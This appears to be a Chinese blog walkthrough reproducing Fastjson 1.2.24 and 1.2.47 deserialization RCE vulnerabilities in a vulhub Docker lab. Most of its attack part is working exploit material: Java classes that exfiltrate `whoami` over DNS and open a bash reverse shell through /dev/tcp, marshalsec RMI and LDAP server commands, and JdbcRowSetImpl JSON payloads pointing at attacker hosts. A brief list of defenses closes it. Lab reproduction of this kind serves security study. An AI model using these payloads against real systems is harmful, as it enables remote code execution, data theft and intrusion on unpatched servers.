【漏洞复现】Fastjson 系列反序列化漏洞复现

零、Fastjson 简介

Fastjson 是由阿里巴巴开源的一个 Java 库,用于处理 JSON 数据格式的序列化和反序列化,但是在这个过程中并没有使用Java 自带的序列化机制,而是自定义了一套机制。同时它因为性能优异而在 Java 开发者中广受欢迎。然而,Fastjson 在处理反序列化操作时存在一些安全问题,这些问题可能导致远程代码执行(RCE)等严重的安全漏洞。

一、Fastjson 框架和版本判断

1、判断fastjson 框架

在fastjson 请求包中增加json 请求体,看是否处于报错页面

image-20240310141109197

2、判断版本

1、方法一:返回页面判断

这里检测的是1.2.47版本,但是针对1.2.24版本的话是没有回显

1
2
3
{	b{

{"@type": "java.lang.AutoCloseable"

这样单有报错,却没有回显版本信息属于1.2.47之前的版本

image-20240310140409923

这样既有错误页面也返回了fastjson 的版本信息属于1.2.47之后

image-20240310140507668

二、Fastjson 1.2.24-RCE 反序列化漏洞复现

1、漏洞原因

  1. AutoType 功能:Fastjson 引入了AutoType 功能(自动类型,支持自省),开启该功能后在JSON 序列化之后的数据中多了一个 @type 字段。该字段可以指定反序列化的目标类型,允许序列化和反序列化未知类型的 Java 对象。
  2. 安全风险:当 Fastjson 处理包含 @type 字段的 JSON 数据时,它会尝试根据指定的类型创建对象,并调用其中的方法,导致安全漏洞。
  3. 利用链:攻击者可以构造特定的 JSON 数据,通过 @type 字段指定一个存在安全漏洞的类。在反序列化过程中,Fastjson 会加载并执行这个类,从而执行攻击者指定的代码。
  4. RMI 和 JNDI 利用:一些已知的 Fastjson 漏洞利用了 Java 的 RMI(远程方法调用)和 JNDI(Java 命名和目录接口)功能。攻击者可以通过这些接口远程执行代码,甚至在服务器上创建后门。

2、影响版本

  • Fastjson <= 1.2.24
  • Fastjson <= 1.2.42
  • Fastjson <= 1.2.43
  • Fastjson <= 1.2.47
  • Fastjson <= 1.2.62

3、漏洞复现

1、环境配置

我们采用docker 进行部署

1
2
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d

image-20240226144903359

访问靶机的8091端口

image-20240226144959732

通过BP抓包构造json数据

image-20240226145541569

页面报错,并未显示版本信息,判断为1.2.47版本以下

2、Dnslog平台命令回显

构造一个java类,执行ping 命令,采用dnslog 回显平台进行命令回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.ccnfcs.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// 报错信息
}
}
}

image-20240226150343584

使用javac 进行编译

1
javac dnslog.java

将编译好的.class 文件放在公网服务器上,并通过py3开启一个http服务

1
python3 -m http.server

安装marshalsec

1
2
3
4
5
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://(启动python服务的ip):(启动python服务的端口)/#<类名如dnslog> 9999

启动服务,如:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.20.139:8000/#dnslog" 9999

漏洞利用,bp提交如下json格式(不同版本利用姿势的POC不同)

1
2
3
4
5
6
7
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.20.139:9999/dnslog",
"autoCommit":true
}
}

在dnslog 平台将会得到命令回显

3、反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.IOException;

public class ExpLinux {
static {
String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/<vps_ip>/<port> 0>&1"};

try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}

编译并拿到恶意类的ExpLinux.class文件,开启 http 服务,再利用marshalsec 开启JNDI 服务

1
2
3
python3 -m http.server

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://<vps_ip>:8000/#ExpLinux 9999

提交如下格式,nc监听bash 即将反弹的port:

1
2
3
4
5
6
7
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://43.143.15.244:9999/ExpLinux",
"autoCommit":true
}
}

三、Fastjson 1.2.47-RCE 漏洞复现

1、漏洞原因

  1. AutoType 功能:Fastjson 提供了 autoType 功能,允许用户在反序列化数据中通过 “@type” 指定反序列化的类型。
  2. 自定义反序列化机制:Fastjson 自定义的反序列化机制会在反序列化过程中调用指定类中的 setter 方法及部分 getter 方法。
  3. 缓存机制滥用:在 Fastjson 1.2.47 及以下版本中,攻击者可以利用其缓存机制来绕过未开启 autoType 功能的保护。

2、影响版本

Fastjson 1.2.47 以及之前的所有版本都受到了这个漏洞的影响。

3、漏洞复现

环境搭建用BP抓包测试

image-20240226170304593

返回数据中存在fastjson 版本信息

只需要更改最后的payload即可

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.20.139:9999/dnslog",
"autoCommit":true
}
}

四、防御措施

  • 升级Fastjson到修复了该漏洞的版本。
  • 关闭Fastjson的autoType 支持,或者在代码中对反序列化的数据进行严格的验证和过滤。
  • 使用IP 的黑白名单控制访问
  • 进行监控和日志记录